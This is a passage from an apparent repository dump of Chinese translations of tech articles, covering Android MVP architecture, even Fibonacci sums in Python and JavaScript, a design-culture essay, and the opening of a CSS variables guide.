精益求精\n\n我们先看下效果图：\n\n![](https://cdn-images-1.medium.com/max/400/1*DRA1PXswO3sl-_a3aebk9Q.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*R9fplojmQyuOvQEAnlfv1g.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*2u_3aDsu-vLwQi40bWpx5w.png)\n\n\n#### 评分对话框\n\n1. 评分对话框显示 5 个星星，用户可以根据自己的满意度来选择星星的个数。\n2. 如果星星数量小于 5，我们将会修改对话框来显示一个反馈表单，用来询问用户的改进建议。\n3. 如果星星个数为 5。我们就在对话框中显示一个跳转到应用商城（这里指的是 `google play`）的选项。用户可以在那里进行评论。\n4. 评分信息会发送到应用的后台服务端。\n\n注意：从用户的角度来看评分对话框并不是必须的，但是对我们开发者来说却很重要。所以，应用需要很巧妙地设计这个执行流程。\n\n> 我建议把对话框里面相邻控件的间距调大点。\n\n#### Feed 界面\n\n1. 这个界面会有两个子界面。\n2. 子界面 1：博客 `RSS` 的列表界面。\n3. 子界面 2：开源代码 `RSS` 的列表界面。\n\n#### 博客 `RSS` 子界面\n\n1. 从服务器获取数据。\n2. 用数据填充 `RecyclerView` 中的 `CardView`。\n\n#### 开源项目 `RSS` 子界面\n\n1. 从服务器获取仓库数据。\n2. 这些仓库数据用来填充 `RecyclerView` 里面的 `CardView`。\n\n现在，我们明确了业务需求，接下来就是根据这些需求来扩展已有的架构。\n\n> 我不会把整个代码片段都贴在这里，因为它太长了。而是在浏览器的新标签中打开这个 [MVP 项目](https://github.com/MindorksOpenSource/android-mvp-architecture)。后面我们就在这两个标签中来回切换。\n\n概述:\n\n添加以下几个类\n\n(在[项目](https://github.com/MindorksOpenSource/android-mvp-architecture)的 [com.mindorks.framework.mvp.ui.base](https://github.com/MindorksOpenSource/android-mvp-architecture/tree/master/app/src/main/java/com/mindorks/framework/mvp/ui/base) 包里面查看代码 )\n\n1. **BaseDialog**：这个类里面我们添加 `Dialog` 的模板代码，以及一些通用的方法。实际项目用到的 `Dialog` 可以通过扩展该基类来实现。\n2. **DialogMvpView**：这个接口定义了 `Presenter` 与 `Dialogs` 交互的API。\n3. **BaseViewHolder**：它定义了 `RecyclerView` 绑定框架，并实现了 `ViewHolder` 被复用时自动清理视图的功能。\n\n``` java\npublic abstract class BaseDialog extends DialogFragment implements DialogMvpView\n```\n\n> 关于框架的一点说明。\n\n> 所有相关的功能应该组合在一起，我称之为功能点的封装，使他们相互独立。\n\n#### [评分对话框](https://github.com/MindorksOpenSource/android-mvp-architecture/tree/master/app/src/main/java/com/mindorks/framework/mvp/ui/main/rating):\n\n1. 可以通过左侧抽屉的菜单列表打开这个对话框。\n2. 它的实现和[**第二篇**](https://blog.mindorks.com/essential-guide-for-designing-your-android-app-architecture-mvp-part-2-b2ac6f3f9637)博客里面的MVP组件很相似。\n\n**在你浏览器的新标签中打开**[**project repo**](https://github.com/MindorksOpenSource/android-mvp-architecture/tree/master/app/src/main/java/com/mindorks/framework/mvp/ui/main/rating)**，彻底研究评分对话框部分在项目中的实现**\n\n关于对话框的一点说明\n\n> 有些应用可能会用到很多小对话框，对于这种情况我们可以创建通用的 `mvpview`，`mvppresenter` 和 `presenter` 给这些对话框使用。\n\n#### [Feed 部分:](https://github.com/MindorksOpenSource/android-mvp-architecture/tree/master/app/src/main/java/com/mindorks/framework/mvp/ui/feed)\n\n1. 这个包里面包含了 `FeedActivity` 和它的 `MVP` 组件，`FeedPagerAdapter`，`blog` 包以及 `opensource` 包。\n2. **blog**: 这个包里面有 `BlogFragment` 和它的 `MVP` 组件以及 `RecyclerView` 的 `BlogAdapter`。\n3. **opensource**: 这个包里面有 `OpenSourceFragment` 和它的 `MVP` 组件以及  `RecyclerView` 的 `OpenSourceAdapter`。\n4. `FragmentStatePagerAdapter` 用于创建 `BlogFragment` 和 `OpenSourceFragment`。\n\n> 永远不要在任何 `Adapter` 类里面实例化任何对象，或者使用 `new` 操作符生成对象。请通过 `dagger` 注入来获取它们。\n\n`OpenSourceAdapter` 和 `BlogAdapter` 是 `RecyclerView.Adapter<BaseViewHolder>` 的实现类。在这个项目里面，当没有可用数据的时候会显示一个空视图。用户可以点击 `RETRY` 按钮来重新获取数据，并在获取到数据的时候删除该空视图。\n\n> `API` 数据分页和网络状态的处理就留给你作为练习。\n\n**现在请通过项目来研究代码，仔细研究XML中的布局以及如何通过代码操作视图。**\n\n如果您觉得有困难或需要任何帮助或改善，请在 `Mindorks` 社区提出你的问题：点击[**这里**](https://mindorks.com/join-community)加入 `Mindorks Android` 社区，在这里我们可以相互学习。\n\n* * *\n\n**感谢您阅读这篇文章，如果你觉得这篇文章对你有帮助，别忘了点下面的 ❤ 。这会帮助更多人从这篇文章中学到知识。**\n\n如果想获取更多编程知识，在 Medium 上关注[**我**](https://medium.com/@janishar.ali) 和 [**Mindorks**](https://blog.mindorks.com/)，这样你就能在新文章发布的第一时间收到通知了。\n\n[Check out all the Mindorks best articles here.](https://mindorks.com/blogs)\n\n你也可以通过 [**Twitter**](https://twitter.com/janisharali)**,** [**Linkedin**](https://www.linkedin.com/in/janishar-ali-8135a451/)**,** [**Github**](https://github.com/janishar)**,** 和 [**Facebook**](https://www.facebook.com/janishar.ali) **加我好友。**\n\nCoder’s Rock :)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/essential-guide-for-designing-your-android-app-architecture-mvp-part.md",
    "content": "> * 原文地址：[Essential Guide For Designing Your Android App Architecture: MVP: Part 1](https://blog.mindorks.com/essential-guide-for-designing-your-android-app-architecture-mvp-part-1-74efaf1cda40#.3lyk8t57x)\n* 原文作者：[Janishar Ali](https://blog.mindorks.com/@janishar.ali?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jifaxu](https://github.com/jifaxu)\n* 校对者：[Zhiw](https://github.com/Zhiw), [tanglie1993](https://github.com/tanglie1993)\n\n# Android MVP 架构必要知识：第一部分\n\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*__cBFEIb0Zi8QswpC1YK0w.png\">\n\n> 扎实的基础是成功的保证。\n\nAndroid 框架并没有主张用哪种方式去设计你的应用程序更好。这让我们有更多的选择但也让架构设计更加困难。\n\n**我曾经考虑过这样一个问题，在实现我的应用时，我能不能写尽量少的 Activity 呢**\n\n在写 Android 的这些年，我意识到如果你解决问题和实现功能时只考虑了当时的情况是远远不够的。你的应用会经历很多轮的迭代，功能也会随之增删。如果你没能设计好架构，在迭代的过程中你的程序将会被破坏。这就是为什么我一定要在每一行代码中严格遵守我的架构设计原则。\n\n> 到目前为止，MVP 中展示出的理念是我见过最优秀的。\n\n**MVP 是什么，我们又为什么要学习它**\n\n让我们开始这一部分。我们中的大多数都是从 Activity 来创建一个 Android 工程的，在这个过程中我们会思考如何去获取数据。Activity 的代码量随着时间不断的增长，直至成为一个没法重用的组件的集合。然后我们开始将这些组件打包，Activity 便可以通过这些组件暴露的接口使用它们。我们甚至对此感到引以为傲并开始将这些代码尽可能的细分。然后我们就会发现自己陷没在组件的海洋里，它们互相依赖，难以使用。之后我们又要考虑可测试性，发现原来的代码写测试还安全点。我们感到这些错综复杂的代码已经紧紧的和 Android API 结合在了一起，这阻碍了我们去进行 JVM 测试和设计简单的测试用例。这就是传统的 MVC 模式中将 Activity 或 Fragment 当做 Controller 来用时的情况。\n\n所以，我们定了一些规定，如果你认真遵守就可以解决上面提到的大多数问题。这些原则，我们叫它 MVP(Model-View-Presenter) 设计模式。\n\n**MVP 设计模式是什么**\n\nMVP 设计模式是为了解耦代码以实现重用性和可测试性。它依据职责划分应用的组件，我们称之为关注点分离。\n\n**MVP 将一个应用分成了三个基础部分。**\n\n1. **Model**：负责处理应用的数据部分。\n\n2. **View**：负责将带有数据的视图显示在屏幕上。\n\n3. **Presenter**：连接 Model 和 View 的桥梁，它也负责操控 View。\n\n**MVP 为上述组件规定了一些基础规则，如下所示：**\n\n1. View 的唯一职责就是根据 Presenter 的指示绘制 UI。它在这个程序里应该是“哑”的。\n\n2. View 将所有的用户交互委派给它的 Presenter。\n\n3. View 永远不与 Model 直接交互。\n\n4. Presenter 负责接受 View 对 Model 的请求，并且在特定的情况下控制 View。\n\n5. Model 负责从服务器、数据库和文件系统获取数据。\n\n> 上述原则可以以多种方式实现。每个开发者都有自己的实现方式。这些都是一些常见的小修改。\n\n> 力量越大，责任越大。\n\n**现在，我会根据前文所说的介绍 MVP 原则。**\n\n1. Activity，Fragment 和 自定义视图是应用的 View 部分。\n\n2. 每一个 View 都有一个单独的 Presenter。\n\n3. View 通过一个接口与 Presenter 通信，反之亦然。\n\n4. Model 被分为几类：ApiHelper, PreferenceHelper, DatabaseHelper 和 FileHelper。这些都是用来帮助实现用来连接各种 model 的 DataManager 的。\n\n5. Presenter 通过接口和 DataManager 交互。\n\n6. DataManager 只在被调用的时候提供服务。\n\n7. Presenter 不访问任何 Android API。\n\n**这些信息现在可以在任何和 Android MVP 有关的博客里找到。那么这篇文章的目的是什么？**\n\n> 写这篇文章的目的是解决一个 MVP 中非常重要的挑战。**如何在一个完整的项目中真正地实现它**\n\nMVP 在单 Activity 的例子中看起来很简单。但是当我们尝试将一个应用的所有组件联系起来时就有些困难了。\n\n> 如果你想深入探索优雅代码的世界，那么就认真学习这篇文章。这不是一篇快餐文，所以投入进来，不要分心。\n\n### 让我们先绘制简单的架构蓝图。###\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*etZ8borFvbwOOlChGCZq1A.png\">\n\n当你开发软件时，首先考虑的就是架构。一个精心设计的架构会减少很多重复的工作并且提供很好的扩展性。现在的大多数的工程都是有一个团队来开发的，所以可读性和模块化是一个架构最重要的部分。我们重度依赖第三方库并且在由于用例，bug和支持问题频繁地更换第三方库。所以我们的架构应该是即插即用的。类的接口可以实现这样的目的。\n\n上面所描绘的 Android 架构的蓝图包含了 MVP 的所有特征。\n\n> 下面的内容刚开始看可能会有些晦涩，但是如果你看了下一篇文章的例子，就能很清楚地理解这些概念了。\n\n> 知识属于那些渴望它的人。\n\n让我们理解这个架构草图的每一部分。\n\n- **View**：绘制 UI 并接受用户的操作。Activity，Fragment和自定义视图属于这一部分。\n\n- **MvpView**：一种接口，被 View 实现。它包括暴露给 Presenter 的方法。\n\n- **Presenter**：它是决定 View 行为的纯 Java 类（不访问任何 Android API）。它接受从 View 传来的用户操作，并根据业务逻辑进行响应，最终指挥 View 进行特定的行为。它也从 DataManager 获取必要的数据。\n\n- **MvpPresenter**：被 Presenter 实现的接口。包括提供给 View 的方法。\n\n- **AppDbHelper**：数据库管理类，负责所有和数据库有关的操作。\n\n- 被 AppDbHelper 实现的接口，包括提供给应用的方法。这一层对 DbHelper 的任何特定实现进行了解耦，这使得 AppDbHelper 成为了一个即插即用的单元。\n\n- **AppPreferenceHelper**：类似于 AppDbHelper，只不过提供的是对于 SharedPreferences 的读写操作。\n\n- **PreferenceHelper**：类似于 DbHelper 的接口，被 AppPreferenceHelper 实现。\n\n- **AppApiHelper**：管理网络 API 请求及其数据处理。\n\n- **ApiHelper**：类似于 DbHelper 的接口，被 AppApiHelper 实现。\n\n- **DataManager**：被 AppDataManager 实现的接口。包括所有数据处理操作。理想情况下，它负责委派所有 Helper 的服务。所以 DataManager 继承 DbHelper，PreferenceHelper 和 ApiHelper。\n\n- **AppDataManager**：它是应用中所有数据操作的结合点。DbHelper，PreferenceHelper 和 ApiHelper 只为 DataManager 提供服务。它负责委派任务给指定的 Helper。\n\n**现在我们对于各种组件和它们的职责都熟悉了。我们马上将制定组件间的交互规则。**\n\n- Application 类实例化 AppDbHelper（通过 DbHelper 引用），AppPreferenceHelper（通过 PreferenceHelper 引用），AppApiHelper（通过 ApiHelper 引用）以及最终的 AppDataManager（通过 DataManager 引用）。\n\n- View 组件实例化它的 Presenter 并通过 MvpPresenter 引用。 \n\n- Presenter 通过参数接受 View 组件，并用 MvpView 引用，Presenter 也接受 DataManager。\n\n- DataManager 是单例。\n\n**这些是在应用中实现 MVP 的基础引导。**\n\n> 就像一个外科医生在实际动手之前是没法完全掌握手术流程的。我们也不能完全理解这些想法和方案直到我们真正去实现它。\n\n在下一部分，我们将探索一个真实的应用例子，希望能够很好地理解和掌握这些概念。\n\n[这是这篇文章第二部分的链接：](https://github.com/xitu/gold-miner/blob/master/TODO/essential-guide-for-designing-your-android-app-architecture-mvp-part-2.md) \n\n[**Essential Guide For Designing Your Android App Architecture: MVP: Part 2**](https://blog.mindorks.com/essential-guide-for-designing-your-android-app-architecture-mvp-part-2-b2ac6f3f9637)\n\n**感谢您阅读这篇文章，如果你觉得这篇文章对你有帮助，别忘了点下面的 ❤ 。这会帮助更多人从这篇文章中学到知识.**\n\n获取更多编程知识，在 Medium 上关注[**我**](https://medium.com/@janishar.ali)（要不顺便也关注下[译者](https://gold.xitu.io/user/57d6814f67f3560057e7b12b)吧 =.=），这样你就能在新文章发布的第一时间收到通知了。\n\nCoder’s Rock :)\n"
  },
  {
    "path": "TODO/even-fibonacci-numbers-python-vs-javascript.md",
    "content": "> * 原文地址：[Even Fibonacci numbers (Python vs. JavaScript)](https://hackernoon.com/even-fibonacci-numbers-python-vs-javascript-55590ccb2fd6)\n> * 原文作者：[Ethan Jarrell](https://hackernoon.com/@ethan.jarrell?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/even-fibonacci-numbers-python-vs-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO/even-fibonacci-numbers-python-vs-javascript.md)\n> * 译者：[zephyrJS](https://github.com/zephyrJS)\n> * 校对者：[hexianga](https://github.com/hexianga), [Starriers](https://github.com/Starriers)\n\n# 斐波那契数列中的偶数 (Python vs. JavaScript)\n\n![](https://cdn-images-1.medium.com/max/800/0*MiZvmg8hpsmkAv0t.jpg)\n\n对于雇主来说，用某种方式来生成斐波那契数列是一道热门的面试题。而求斐波那契数列中的所有偶数便是其热门的变体之一。这里，我将用 Python 和 JavaScript 两种方式来实现。为了让事情变得更加简单，我们将只生成 4,000,000 以下的序列中的偶数，并且对他们进行求和。\n\n#### 什么是斐波那契数列？\n\n在斐波那契数列中每一个新项都等于前两项之和。所以，我们就能看到这样一个例子，从 1 和 2 开始，序列中的前 10 个数字便是：\n\n1, 2, 3, 5, 8, 13, 21, 34, 55, 89\n\n#### 我们将如何生成序列中的所有数字呢？\n\n首先，我们可以通过类似下面这种方式来思考如何生成数列：\n\n![](https://cdn-images-1.medium.com/max/800/1*uCzO0PZEFUJqNrSBUlAQIw.png)\n\n这里的问题是我们没办法为每个数字都创建一个变量，所以更好的解决方案是，每当我们调用完 a + b = c 之后，我们将对这三个变量重新赋值。 所以现在我们将上一个 'b' 的值赋给 'a'，将上一个 'c' 的值赋给 'b'，以此类推。它看起来会像是这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*hHFDX_t6iij089zAx55WsQ.png)\n\n所以初步的想法是，在某个循环里，我们要检查并确保不要触发 4,000,000 这个临界点，然后我们重置 a、b 和 c 的值，紧接着将 c 存入到数组或列表中。最后我们将对这个数组或列表进行求和。\n\n伪代码的讨论到此为止，接下来我们将展示一些实例代码，让我们看看将会是什么样子：\n\n### Python:\n\n让我们像伪代码那样开始。我将空数组赋值给变量 'x'。\n\n```Python\nx = []\na = 1\nb = 2\nc = a + b\n```\n\n接下来，我将使用 Python 的 while 循环来检查并确保 `c` 的值小于 `4000000`。\n\n```Python\nwhile c < 4000000:\n    a = b\n    b = c\n    c = a + b\n    if c % 2 == 0:\n        x.insert(0, c)\n```\n\n因为我们只需要偶数，所以在 while 循环内部，我们将检查并确保它是一个偶数，才会执行插入到 `x.` 的操作。接下来，我们会在 Python 中对这个列表里的数字进行求和并打印这个值。\n\n```Python\nnumSum = (sum(x))\nprint numSum\n```\n\n### JavaScript:\n\n我想用 JavaScript 的方式去解决，但它跟 Python 相比会有些许差异。首先我将创建一个空数组，然后对数组的前两个索引赋值：\n\n```JavaScript\nvar fib = [];\n\nfib[0] = 1;\nfib[1] = 2;\n```\n\n接着，我将循环数组。选择我需要的索引来生成斐波那契数列。在上一个例子里，每一次循环我们都会重置 a、b 和 c 的值。但在这个版本里，我们将不会重置任何一个值，取而代之的是，我会把 f[i-2] + f[i-1] 的值赋值给 f[i]，然后把 f[i] 的值存入到数组中。\n\n```JavaScript\nfor(i=2; i<=50; i++) {\n  fib[i] = fib[i-2] + fib[i-1];\n  fib.push(fib[i]);\n}\n```\n\n至此，我拥有一个完整的斐波那契数列，却不是仅有偶数的序列，所以我将用第二个循环来获取少于 4,000,000 并且里面都是偶数的数组。\n\n```JavaScript\narrUnder4mil = [];\nfor (var i = 0; i < fib.length; i++) {\n  if (fib[i] <= 4000000 && fib[i] %2 == 0) {\n    arrUnder4mil.push(fib[i]);\n  }\n}\n```\n\n最后，我将对数组里面数字进行求和，并打印这个结果。\n\n```JavaScript\nlet fibSum = arrUnder4mil.reduce((a, b) => a + b, 0);\n\nconsole.log(fibSum);\n```\n\n### 总结：\n\n尽管我们的 JavaScript 代码有点多，但这两种方法都能在几毫秒内解决这个问题。我认为，对于这些技术面试，通过两种不同的方式或语言能过帮助雇主发现你的全面性和创造性。但最重要的是，它展示了你的逻辑思维能力。如果有任何反馈，请联系我。谢谢！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/everyone-is-a-designer-get-over-it.md",
    "content": "> * 原文地址：[Everyone is a designer. Get over it.](https://library.gv.com/everyone-is-a-designer-get-over-it-501cc9a2f434)\n> * 原文作者：[Daniel Burka](https://library.gv.com/@dburka)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[ylq167](https://github.com/ylq167)\n> * 校对者：[changkun](https://github.com/changkun)，[circlelove](https://github.com/circlelove)\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*xIoFsnWI_2-1VOy00a2KrQ.jpeg)\n\n图片作者 Alice Achterhof [来自于 Unsplash](https://unsplash.com/search/designer-paint?photo=FwF_fKj5tBo)\n\n# 人人都是设计师。我们可以的。 #\n\n最近，[Jared Spool](https://www.uie.com/about/) 的一篇关于 Netflix 的性能工程师竟然才是真正的**设计师**的[文章](https://articles.uie.com/signup/)引起了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是带有「设计」头衔的人。\n\n![](https://cdn-images-1.medium.com/max/800/1*qLoczEHONP188zelJbn-6w@2x.png)\n\n从一些反应中，你可能会认为 Jared 绑架了一些人的孩子用来献祭。Jared 到底写了什么呢？\n\n> 这个团队的成员都是性能工程师。他们架设、开发、维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。\n\n> 然而，在 Netflix 用户的视频流停止并出现旋转动画的那一刻，表明播放器正在等待更多的数据，这些工程师（的身份）发生了戏剧性的转变，**他们变成了用户体验设计师。**\n\n我把最后一句话加粗了 —— 因为这真的很重要。一些设计师对工程师或销售人员或 CFO 可能是「设计师」的想法感到不适。\n\n![](https://cdn-images-1.medium.com/max/800/1*ErZDaGRy3mJ19jGdWqeJgA@2x.png)\n\n常见反应\n\n不管你是不是喜欢，也不管你是不是同意，设计团队以外的人都会以重要的方式通过重大的**设计**决策来影响你的客户。他们也**正在设计**你的产品，他们也是**设计师**。\n\n这不应该是**挑衅** —— 这只是一个事实的陈述。我每年与几十家[创业公司](http://www.gv.com/portfolio/)合作，我看到每一家公司都会发生这种情况。CFO 作出定价决定改变了产品体验。一个工程师做了性能权衡。销售人员写一个与客户交谈的脚本。在我看来，从根本上改变用户体验的人就可以叫做**设计师**。\n\n如果这是不言而喻的，那为什么 Jared 和我坚持这一点？我会一直强调这一点，因为我希望设计师能改变看待自己身份的方式，并成为更好的设计师。\n\n现在，想想这种观点的改变将如何改变你的工作方式。\n\n#### 人人都需要设计思维 ####\n\n当你接受设计决策来自于你团队之外而且不带有「设计」头衔的人的现实时，你就会向你的其他同事靠拢。因为他们不仅是你的同事，也构成了你的设计团队。\n\n苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对 **《连线》杂志** 提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。\n\n>**Airbnb 的解决方案其实淡化了设计师的概念。重点不是去创造一个「设计驱动的文化」，因为这就相当于对其他人说他们的看法是不重要的。这会把整个团体置于必须去迎合某个特权观点的不利位置。相反，Schleifer 则希望更多的人能够去细细体会那些只存在于设计师领域的 —— 「用户」观点。**\n\n每个人都需要掌握设计师的所有技能吗？当然不是。但是理解他们的决定是如何影响用户体验每个人都要掌握的手段。\n\n当一个工程师在性能方面走捷径时，他们需要理解这是如何损害用户体验的。同样，当设计师需要推动工程师做影响性能的改变时，这个工程师应该帮助设计师做出最好的整体设计决策，而不仅是否定设计师所需要的。正是这种相互尊重的合作方式才孕育了伟大的设计。\n\n激发共鸣的最好方式就是和来自公司的同事一起看用户调研。当我的同事 Michael Margolis 和 GV 公司一起进行研究时，我们要求整个团队 —— 而不仅仅是设计师 —— 都要一起观看这些访谈并进行记录。如果不可能做到每个人都全部观看，你可以记录会话并在之后安排一个集体的「评审会议」。\n\n#### 在设计团队之外工作 ####\n\n当你接受设计这个行为发生在你的团队中几乎任何地方时，你必须承担责任。你的应用很慢？去找开发团队谈谈。你的营销团队很难将你的产品传达给潜在客户？你最好在这个问题上和他们一起工作。\n\n是的，和你公司里的每个人一起做设计的工作量很大。但是，如果你想成为一名真正伟大的设计师，那么这是必要的。否则，你只是在做错误的决定。例如，假设你的 CEO 为你的产品创建了一个复杂的定价结构。你可以专注于使用您的界面和信息设计技巧使定价页面尽可能的清晰。但是需要把握的更加困难和重要的设计机会则是与您的 CEO 一起重新定价你的产品，以便用户清楚，同时符合业务目标。\n\n关注核心业务是将是实际产品设计与界面设计甚至用户体验设计区分开来。基本的产品设计真的很难，需要大量的调研工作，但这就是最高级的设计师所做的 - 这就是为什么他们的工作比你的好。\n\n![](https://cdn-images-1.medium.com/max/600/1*czW-2nrN_3l50ZzgYQYqlw@2x.png)\n\nDan Saffer 和 ThomasGläser 的 「用户体验设计学科」\n\n#### 将非设计师扩增到设计团队中 ####\n\n设计是一项艰巨的任务，你将需要广泛的技能（请查看由 Dan Saffer（制作的）[UX 学科图](https://www.fastcodesign.com/1671735/infographic-the-intricate-anatomy-of-ux-design)中的所有圈子）和多年的实践才能真正掌握设计。\n\n也许这就是为什么当不是设计师的人做设计工作或者被 Jared 和我称作「设计师」时，许多设计师感到生气。只要你愿意你可以表现的很生气，但事实是其他人不管有没有你都一直在做设计决策。拥抱他们吧，他们不会使你的工作变得不那么有价值，也不会使你的职位变得不那么有意义。\n\n对于更多的人来说**做设计**是附加的，并没有竞争力。这些设计师使您的团队和您的产品更强大，因为他们从独特的角度做出贡献。帮助他们提高自己的技能，并利用自己的专长来优化您的产品和公司。\n\n### **让我们一起创造更美好的未来吧** ###\n\n几年前，我遇到一家财富 500 强公司的 CEO。当我告诉她我是设计师时，她的眼睛亮了起来。「哦，我喜欢设计！」她说，「我的团队就在设计团队的大厅里，他们在那里做了很多创造性的工作。」\n\n我的心凉了一截。他们的设计团队只是在这个行政大厅，但是他们没有一起工作。相反，他们坐在隔音玻璃后面，孤立地做「创造性工作」。\n\n行政人员每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但设计团队才是应该承担这个责任的——他们错过了与同事接触并共同完成业务中最重要难题的机会。\n\n感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的 **《连线》** 文章（做的努力）。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/everything-you-need-to-know-about-css-variables.md",
    "content": "> * 原文地址：[Everything you need to know about CSS Variables](https://medium.freecodecamp.org/everything-you-need-to-know-about-css-variables-c74d922ea855)\n> * 原文作者：[Ohans Emmanuel](https://medium.freecodecamp.org/@ohansemmanuel?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/everything-you-need-to-know-about-css-variables.md](https://github.com/xitu/gold-miner/blob/master/TODO/everything-you-need-to-know-about-css-variables.md)\n> * 译者：[MechanicianW](https://github.com/MechanicianW)\n> * 校对者：[xueshuai](https://github.com/xueshuai) [dazhi1011](https://github.com/dazhi1011)\n\n# 关于 CSS 变量，你需要了解的一切\n\n![](http://o7ts2uaks.bkt.clouddn.com/1%2AIm5WsB6Y7CubjWRx9hH7Gg.png)\n\n本文是[我新写的电子书](https://gumroad.com/l/lwaUh)的第一章（电子书目前已支持 pdf 和 mobi 格式下载）。\n\n大多数编程语言都支持变量。然而遗憾的是，CSS 从一开始就缺乏对原生变量的支持。\n\n你写 CSS 吗？如果写的话你就知道是没法使用变量的。当然了，除非你使用像 Sass 这样的预处理器。\n\n像 Sass 这样的预处理器是把变量的使用作为一大亮点。这是一个非常好的理由去尝试使用这类预处理器。当然了，这个理由已然足够好了。\n\nWeb 技术发展是非常快的，在此我很高兴地报告 **现在 CSS 支持变量了**。\n\n然而预处理器还支持更多优秀特性，CSS 变量仅仅是其中之一。这些特性使得 Web 技术更加贴近未来。\n\n这篇指南将向你展示变量是如何在原生 CSS 中工作的，以及怎样使用变量让你的编程工作更轻松。\n\n### 你将学到\n\n首先我将带你粗略过一遍 CSS 变量的基础知识。我相信任何理解 CSS 变量的尝试都必须从这里开始。\n\n学习基础知识是一件非常酷的事。更酷的是使用基础知识来构建一个真正的应用。\n\n因此，我将构建三个能够体现 CSS 变量的使用及其易用性的项目，用这种方式把两件事结合起来。下面是对这三个项目的快速预览。\n\n#### 项目 1： 使用 CSS 变量创建一个有变化效果的组件\n\n你可能已经构建过一个有变化效果的组件了。无论你是使用 React，Angular 还是 Vue，使用 CSS 变量都会让构建过程更简单。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1%2AqElS3I43_SdpdRA8-m2iew.gif)\n\n使用 CSS 变量创建一个有变化效果的组件。\n\n可以在 [Codepen](https://codepen.io/ohansemmanuel/full/PQYzvv/) 上查看这个项目。\n\n#### 项目 2： 使用 CSS 变量实现主题定制\n\n可能你已经看过这个项目了。我会向你展示使用 CSS 变量来定制全站主题有多么容易。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1%2Ar2TrlsC-gWRD5Hu6Tp2gjQ.gif)\n\n使用 CSS 变量定制全站主题。\n\n可以在 [Codepen](https://codepen.io/ohansemmanuel/full/xYKgwE/) 上查看这个项目。\n\n#### 项目 3： 构建 CSS 变量展位\n\n这是最后一个项目了，不要在意这个项目名，我想不出更好的名字了。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1%2AE6H-wT6a0BDR9OJK7Z0dTA.gif)\n\n盒子的颜色是动态更新的。\n\n请注意盒子的颜色是如何动态更新的，以及盒子容器是如何随着输入范围值的变化进行 3D 旋转的。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1%2Aiy_MjZVlp-H0KUQa7H7fUg.gif).\n\n这个项目展示了使用 JavaScript 更新 CSS 变量的便利性，从中你还会尝到响应式编程的甜头。\n\n#### 这会是非常好玩的！\n\n花点时间在 